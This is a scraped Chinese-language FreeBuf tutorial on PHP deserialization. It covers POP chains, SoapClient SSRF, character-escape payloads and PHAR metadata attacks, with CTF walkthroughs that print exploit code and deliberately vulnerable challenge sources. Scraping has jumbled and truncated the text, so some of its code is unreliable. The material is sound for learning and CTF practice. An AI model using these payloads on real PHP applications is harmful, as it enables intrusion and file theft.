方法.
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')
我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下
而__call
魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a)
,则可以达到执行SoapClient->welcome_to_the_lctf2018()
的效果,由于SoapClient不存在welcome_to_the_lctf2018
方法,那么这里就会自动调用__call
方法,如下
在bp中重放攻击一次,得到session
修改session并刷新
参考文献
1.N1BOOK反序列化部分
本文作者:, 转载请注明来自FreeBuf.COM
# 漏洞分析 # php反序列化漏洞 # php代码审计 # 反序列化例题
文章目录
四、反序列化漏洞
4.1 原生类利用
4.2 反序列化字符逃逸
4.3 PHAR协议利用
4.4 PHP引用
六、BUUCTF
ZJCTF 2019 NiZhuanSiWei
MRCTF2020 Ezpop
CISCN2019 Day1 Web1 Dropbox
网鼎杯 2020 青龙组 AreUSerialz
0CTF 2016 piapiapia
安洵杯 2019 easy_serialize_php
bestphp's revenge
FreeBuf+小程序
扫码把安全装进口袋
window.__NUXT__=function(t,e){return{layout:"articles",data:[{adminBackUrl:"manage.freebuf.com",articalId:"263710",jobPosition:t,serverData:{post_title:"PHP反序列化漏洞详解",post_author:e,nickname:e,post_date:"2021-02-18 16:37:40",post_picture:"https://image.3001.net/images/20210218/1613637455_602e274fa76c5452a4b92.png!small",category:[{name:"Web安全",slug:"web",url:"https://www.freebuf.com/articles/web"}],tag:[{name:"漏洞分析",slug:"%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90",url:"https://www.freebuf.com/tag/漏洞分析"},{name:"php反序列化漏洞",slug:"php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e",url:"https://www.freebuf.com/tag/php反序列化漏洞"},{name:"php代码审计",slug:"php%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1",url:"https://www.freebuf.com/tag/php代码审计"},{name:"反序列化例题",slug:"%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BE%8B%E9%A2%98",url:"https://www.freebuf.com/tag/反序列化例题"}],post_desc:"因笔者水平有限,若某处有误,还请斧正。",paid_read:t,vip_read:t,paid_read_amount:"0",post_content:'
PHP反序列化
因笔者水平有限,若某处有误,还请斧正。
一、基础
为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。
php中的序列化与反序列化函数分别为:serialize()、unserialize()
" . serialize($a)."n";n?>n//运行结果nserialize -> O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";}n将结果进行url编码如下nO%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7Dn序列化后的结果可分为几类
类型:dttt->d代表一个整型数字nO:dt->t对象tt->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5na:dt->t数组tt->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素ns:dt->t字符串tt-dN代表字符串长度,例如abc序列化后为s:3:"abc";ni:dt->t整型tt->d代表整型变量的值,例如300序列化后的值则为i:300;nna - arraynb - booleannd - doubleni - integerno - common objectnr - referencens - stringnC - custom objectnO - classnN - nullnR - pointer referencenU - unicode stringnphp的session存储的也是序列化后的结果
二、序列化引擎 php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。
php_serializet->与serialize函数序列化后的结果一致nphptttt->key|serialize后的结果nphp_binarytt->键名的长度对应的ascii字符+键名+serialize()函数序列化的值nn默认使用php引擎n使用php引擎的结果见上图
使用php_serialize引擎的结果如下
使用php_binary引擎的结果如下
其中存在不可见字符,将结果进行URL编码如下
在session文件可写的情况下,可手动写入我们想要的内容,例如
<?phpnini_set('open_basedir','/var/www/html');nsession_save_path('/var/www/html');nsession_start();nhighlight_file(__FILE__);ninclude "flag.php";nn$banner = "--4ut15m--n";nnif($_SESSION['name']==='admin'){n echo $flag." ";n}else if(isset($_GET['name']) && isset($_GET['content'])){n if(preg_match('/ph/i',$_GET['name'])){n var_dump($_GET['name']);n die('over');n }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']);n}n?>n该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";
简单说一下payload.
banner和payload拼接在一起后变为--4ut15m--n|s:3:"xxx";name|s:5:"admin";经php序列化引擎反序列化后就成为了$_SESSION=['--4ut15m--n' => 'xxx', 'name' => 'admin']三、魔术方法 满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下
__wakeup() //使用unserialize时触发n__sleep() //使用serialize时触发n__destruct() //对象被销毁时触发n__call() //在对象上下文中调用不可访问的方法时触发n__callStatic() //在静态上下文中调用不可访问的方法时触发n__get() //用于从不可访问的属性读取数据n__set() //用于将数据写入不可访问的属性n__isset() //在不可访问的属性上调用isset()或empty()触发n__unset() //在不可访问的属性上使用unset()时触发n__toString() //把类当作字符串使用时触发n__invoke() //当脚本尝试将对象调用为函数时触发ned;n$superman->eval();n?>n//运行结果n正在实例化Superman类,这是__construct的echon你想访问ed属性,但是Superman没有这个属性,这是__get的echon你想调用eval方法,但是Superman没有这个方法,这是__call的echon正在销毁Superman对象,这是__destruct的echon四、反序列化漏洞 当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。
file = "index.php";n }n function __destruct(){n echo file_get_contents($this->file);n }n}nnunserialize($_GET['file']);n?>n
又例如
name = "4ut15m";n }n function __destruct(){n echo $this->name;n }n}nnclass wow{n public $wuhusihai = "";nn function __construct(){n $this->wuhusihai = "wuwuwu";n }n function __toString(){n $this->wuhusihai->b();n return "ok";n }n}nnclass fine{n public $code = "";nn function __call($key,$value){n @eval($this->code);n }n}nnunserialize($_GET['payload']);n?>npop链为hit->__destruct() ----> wow->__toString() ----> fine->__call(),构造payload
4.1 原生类利用 l3m0n文章原生类即是php内置类,查看拥有所需魔术方法的类如下
n结果如下
Exception::__wakeupnException::__toStringnErrorException::__wakeupnErrorException::__toStringnGenerator::__wakeupnDateTime::__wakeupnDateTime::__set_statenDateTimeImmutable::__wakeupnDateTimeImmutable::__set_statenDateTimeZone::__wakeupnDateTimeZone::__set_statenDateInterval::__wakeupnDateInterval::__set_statenDatePeriod::__wakeupnDatePeriod::__set_statenLogicException::__wakeupnLogicException::__toStringnBadFunctionCallException::__wakeupnBadFunctionCallException::__toStringnBadMethodCallException::__wakeupnBadMethodCallException::__toStringnDomainException::__wakeupnDomainException::__toStringnInvalidArgumentException::__wakeupnInvalidArgumentException::__toStringnLengthException::__wakeupnLengthException::__toStringnOutOfRangeException::__wakeupnOutOfRangeException::__toStringnRuntimeException::__wakeupnRuntimeException::__toStringnOutOfBoundsException::__wakeupnOutOfBoundsException::__toStringnOverflowException::__wakeupnOverflowException::__toStringnRangeException::__wakeupnRangeException::__toStringnUnderflowException::__wakeupnUnderflowException::__toStringnUnexpectedValueException::__wakeupnUnexpectedValueException::__toStringnCachingIterator::__toStringnRecursiveCachingIterator::__toStringnSplFileInfo::__toStringnDirectoryIterator::__toStringnFilesystemIterator::__toStringnRecursiveDirectoryIterator::__toStringnGlobIterator::__toStringnSplFileObject::__toStringnSplTempFileObject::__toStringnSplFixedArray::__wakeupnReflectionException::__wakeupnReflectionException::__toStringnReflectionFunctionAbstract::__toStringnReflectionFunction::__toStringnReflectionParameter::__toStringnReflectionMethod::__toStringnReflectionClass::__toStringnReflectionObject::__toStringnReflectionProperty::__toStringnReflectionExtension::__toStringnReflectionZendExtension::__toStringnDOMException::__wakeupnDOMException::__toStringnPDOException::__wakeupnPDOException::__toStringnPDO::__wakeupnPDOStatement::__wakeupnSimpleXMLElement::__toStringnSimpleXMLIterator::__toStringnPharException::__wakeupnPharException::__toStringnPhar::__destructnPhar::__toStringnPharData::__destructnPharData::__toStringnPharFileInfo::__destructnPharFileInfo::__toStringnCURLFile::__wakeupnmysqli_sql_exception::__wakeupnmysqli_sql_exception::__toStringnSoapClient::__callnSoapFault::__toStringnSoapFault::__wakeup nError
将Error对象以字符串输出时会触发__toString,构造message可xss
异常类大多都可以如此利用
SoapClient __call方法可用
'http://vps:port','location'=>'http://vps:port/'));n#echo serialize($a);n$a->azhe();n//还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头n?>n
4.2 反序列化字符逃逸 序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。
序列化字符串字符增加id = "100";n$taoyi->name = $name;n$haha = filter(serialize($taoyi));necho "haha --> {$haha} ";n@$haha = unserialize($haha);nnif($haha->id === '3333'){n echo $flag;n}n?>n$taoyi->id被限定为100,但是$taoyi->name可控并且$taoyi对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'.正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";}n传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";}n可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。nn这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";}n可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。nn我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。nn故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。n如下图n
payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}payload构造思路n先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.n序列化字符串字符减少id = "100";n$taoyi->xixi = $xixi;n$taoyi->name = $name;n$haha = filter(serialize($taoyi));necho "haha --> {$haha} ";n@$haha = unserialize($haha);nif($haha->id === '3333'){n echo $flag;n}nn?>n序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。
正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}n第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点.n因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没.n测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234n结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";}n可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100n故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。n只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。n如下n
payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}payload构造思路n先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38n每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。n4.3 PHAR协议利用 phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.
phar文件结构 四部分,stub、manifest、contents、signature
1.stubnphar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89ann2.manifestn存放phar归档信息.Manifest结构如下图nn所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.n
phar反序列化触发函数 php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfilen生成phar文件例子如下
startBuffering();tttttttttt//开启缓冲区n$phar->setStub("");ttttt//设置stubn$test = new pharfile();n$phar->setMetadata($test);tttttttttt//设置metadata,这一部分数据会被序列化n$phar->addFromString("azhe.txt",'test');tttttt//添加压缩文件nn$phar->stopBuffering();ttttttttttt//关闭缓冲区nn?>n
4.4 PHP引用 &在php中是位运算符也是引用符(&&为逻辑运算符).&可以使不同名变量指向同一个值,类似于C中的地址。
倘若出现下述情况,即可使用引用符
one = "azhe";n }n}nn$a = @unserialize($_GET['payload']);n$a->two = $flag;nnif($a->one === $a->two){n echo "flag is here:$flag";n}n?>n
这里的__wakeup是不需要绕过的,$a->one引用了$a->two后这两者的值一定会相等,不管谁做了改变。序列化结果中的R:2;即是引用.五、BUGKU安慰奖 算是反序列化入门题吧
index.php中发现提示
下载备份文件index.php.bak,审计
username = $username;n $this->cmd = $cmd;n }n function __wakeup()n {n $this->username = 'guest';n }nn function __destruct()n {n if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))n {n exit('flag能让你这么容易拿到吗? ');n }n if ($this->username === 'admin')n {n // echo " right! ";n $a = `$this->cmd`;n var_dump($a);n }elsen {n echo "给你个安慰奖吧,hhh!";n die();n }n }n}n $select = $_GET['code'];n $res=unserialize(@$select);n?>n直接编写exp
禁用了一些文件读取命令,曲线救国如下
六、BUUCTFZJCTF 2019 NiZhuanSiWei 源码
<?php n$text = $_GET["text"];n$file = $_GET["file"];n$password = $_GET["password"];nif(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){n echo "".file_get_contents($text,'r')."";n if(preg_match("/flag/",$file)){n echo "Not now!";n exit(); n }else{n include($file); //useless.phpn $password = unserialize($password);n echo $password;n }n}nelse{n highlight_file(__FILE__);n}![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small)n?> n//考点: 基本的反序列化漏洞,php伪协议的利用n 第一层if通过php://input满足,file通过php://filter读取useless.php
//useless.phpnfile)){ n echo file_get_contents($this->file); n echo " ";n return ("U R SO CLOSE !///COME ON PLZ");n } n } n} n?> nnpayload构造
创建一个Flag对象,使得该对象的file属性为flag.phpn提交序列化字符串即可n
MRCTF2020 Ezpopappend($this->var);n }n}nnclass Show{n public $source;n public $str;n public function __construct($file='index.php'){n $this->source = $file;n echo 'Welcome to '.$this->source." ";n }n public function __toString(){n return $this->str->source;n }nn public function __wakeup(){n if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {n echo "hacker";n $this->source = "index.php";n }n }n}nnclass Test{n public $p;n public function __construct(){n $this->p = array();n }nn public function __get($key){n $function = $this->p;n return $function();n }n}nnif(isset($_GET['pop'])){n @unserialize($_GET['pop']);n}nelse{n $a=new Show;n highlight_file(__FILE__);n} n//考点: 基本的序列化pop链构造npayload构造
思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性npreg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke.nnpayload如下n
CISCN2019 Day1 Web1 Dropbox 注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下
//index.phpnnnnnnnnn网盘管理nnn n n n n n nnnn n n 管理面板 n 上传文件 n 你好 n n nn
nnName();n$a->Size();n?>n//login.phpnnnnnn n n n 登录 nn n nnn n .bd-placeholder-img {n font-size: 1.125rem;n text-anchor: middle;n }nn @media (min-width: 768px) {n .bd-placeholder-img-lg {n font-size: 3.5rem;n }n }n n n nnnn n 登录 n Username n n Password n n 提交 n 还没有账号? 注册
n © 2018-2019
n n
nnnnnnnnn<?php ninclude "class.php";nnif (isset($_GET['register'])) {n echo "toast('注册成功', 'info');";n}nnif (isset($_POST["username"]) && isset($_POST["password"])) {n $u = new User();n $username = (string) $_POST["username"];n $password = (string) $_POST["password"];n if (strlen($username) verify_user($username, $password)) {n $_SESSION['login'] = true;n $_SESSION['username'] = htmlentities($username);n $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";n if (!is_dir($sandbox)) {n mkdir($sandbox);n }n $_SESSION['sandbox'] = $sandbox;n echo("window.location.href='index.php';");n die();n }n echo "toast('账号或密码错误', 'warning');";n}n?>n//download.phpn<?php nsession_start();nif (!isset($_SESSION['login'])) {n header("Location: login.php");n die();n}nnif (!isset($_POST['filename'])) {n die();n}nninclude "class.php";nini_set("open_basedir", getcwd() . ":/etc:/tmp");nnchdir($_SESSION['sandbox']);n$file = new File();n$filename = (string) $_POST['filename'];nif (strlen($filename) open($filename) && stristr($filename, "flag") === false) {n Header("Content-type: application/octet-stream");n Header("Content-Disposition: attachment; filename=" . basename($filename));n echo $file->close();n} else {n echo "File not exist";n}n?>n//delete.phpn<?php nsession_start();nif (!isset($_SESSION['login'])) {n header("Location: login.php");n die();n}nnif (!isset($_POST['filename'])) {n die();n}nninclude "class.php";nnchdir($_SESSION['sandbox']);n$file = new File();n$filename = (string) $_POST['filename'];nif (strlen($filename) open($filename)) {n $file->detele();n Header("Content-type: application/json");n $response = array("success" => true, "error" => "");n echo json_encode($response);n} else {n Header("Content-type: application/json");n $response = array("success" => false, "error" => "File not exist");n echo json_encode($response);n}n?>n//upload.phpn false, "error" => "Only gif/jpg/png allowed");n Header("Content-type: application/json");n echo json_encode($response);n die();n }nn if (strlen($filename) true, "error" => "");n Header("Content-type: application/json");n echo json_encode($response);n } else {n $response = array("success" => false, "error" => "Invaild filename");n Header("Content-type: application/json");n echo json_encode($response);n }n}n?>n//class.phpndb = $db;n }nn public function user_exist($username) {n $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");n $stmt->bind_param("s", $username);n $stmt->execute();n $stmt->store_result();n $count = $stmt->num_rows;n if ($count === 0) {n return false;n }n return true;n }nn public function add_user($username, $password) {n if ($this->user_exist($username)) {n return false;n }n $password = sha1($password . "SiAchGHmFx");n $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");n $stmt->bind_param("ss", $username, $password);n $stmt->execute();n return true;n }nn public function verify_user($username, $password) {n if (!$this->user_exist($username)) {n return false;n }n $password = sha1($password . "SiAchGHmFx");n $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");n $stmt->bind_param("s", $username);n $stmt->execute();n $stmt->bind_result($expect);n $stmt->fetch();n if (isset($expect) && $expect === $password) {n return true;n }n return false;n }nn public function __destruct() {n $this->db->close();n }n}nnclass FileList {n private $files;n private $results;n private $funcs;nn public function __construct($path) {n $this->files = array();n $this->results = array();n $this->funcs = array();n $filenames = scandir($path);nn $key = array_search(".", $filenames);n unset($filenames[$key]);n $key = array_search("..", $filenames);n unset($filenames[$key]);nn foreach ($filenames as $filename) {n $file = new File();n $file->open($path . $filename);n array_push($this->files, $file);n $this->results[$file->name()] = array();n }n }nn public function __call($func, $args) {n array_push($this->funcs, $func);n foreach ($this->files as $file) {n $this->results[$file->name()][$func] = $file->$func();n }n }nn public function __destruct() {n $table = '';n $table .= '';n foreach ($this->funcs as $func) {n $table .= '' . htmlentities($func) . ' ';n }n $table .= 'Opt ';n $table .= ' ';n foreach ($this->results as $filename => $result) {n $table .= '';n foreach ($result as $func => $value) {n $table .= '' . htmlentities($value) . ' ';n }n $table .= ' 下载 / 删除 ';n $table .= ' ';n }n echo $table;n }n}nnclass File {n public $filename;nn public function open($filename) {n $this->filename = $filename;n if (file_exists($filename) && !is_dir($filename)) {n return true;n } else {n return false;n }n }nn public function name() {n return basename($this->filename);n }nn public function size() {n $size = filesize($this->filename);n $units = array(' B', ' KB', ' MB', ' GB', ' TB');n for ($i = 0; $size >= 1024 && $i filename);n }nn public function close() {n return file_get_contents($this->filename);n }n}n?> n先分析类文件,User类存在__destruct魔术方法,并且在其中调用$this->db->close(),再一看File类,刚好有close方法,但是User的__destruct中并未输出结果。再看FileList类,其中存在__call与__destruct.__call方法首先将调用的不存在函数$func放至FileList->funcs数组尾部,而后遍历FileList->files并且调用FileList->files->$func(),执行结果会被赋值给FileList->result.FileList->__destruct方法输出result的结果。很常规,该题POP链很好构造。User->__destructt--> FileList->__callt--> File->close()t--> FileList->__destruct在delete.php中找到程序反序列化触发点
跟进detele方法
unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。
exp如下
db = new FileList();nt}n}nnclass FileList{ntprivate $files;ntprivate $results;ntprivate $funcs;nntpublic function __construct(){ntt$this->files = array(new File());ntt$this->results;ntt$this->funcs;nt}n}nnclass File{ntpublic $filename = "../../../../../../flag.txt";n}nn$a = new User();n$phar = new Phar('4ut15m.phar');n$phar->startBuffering();n$phar->setStub('');n$phar->setMetadata($a);n$phar->addFromString('azhe.txt','4ut15m');nn$phar->stopBuffering();nn?>n
请登录后发表评论
注册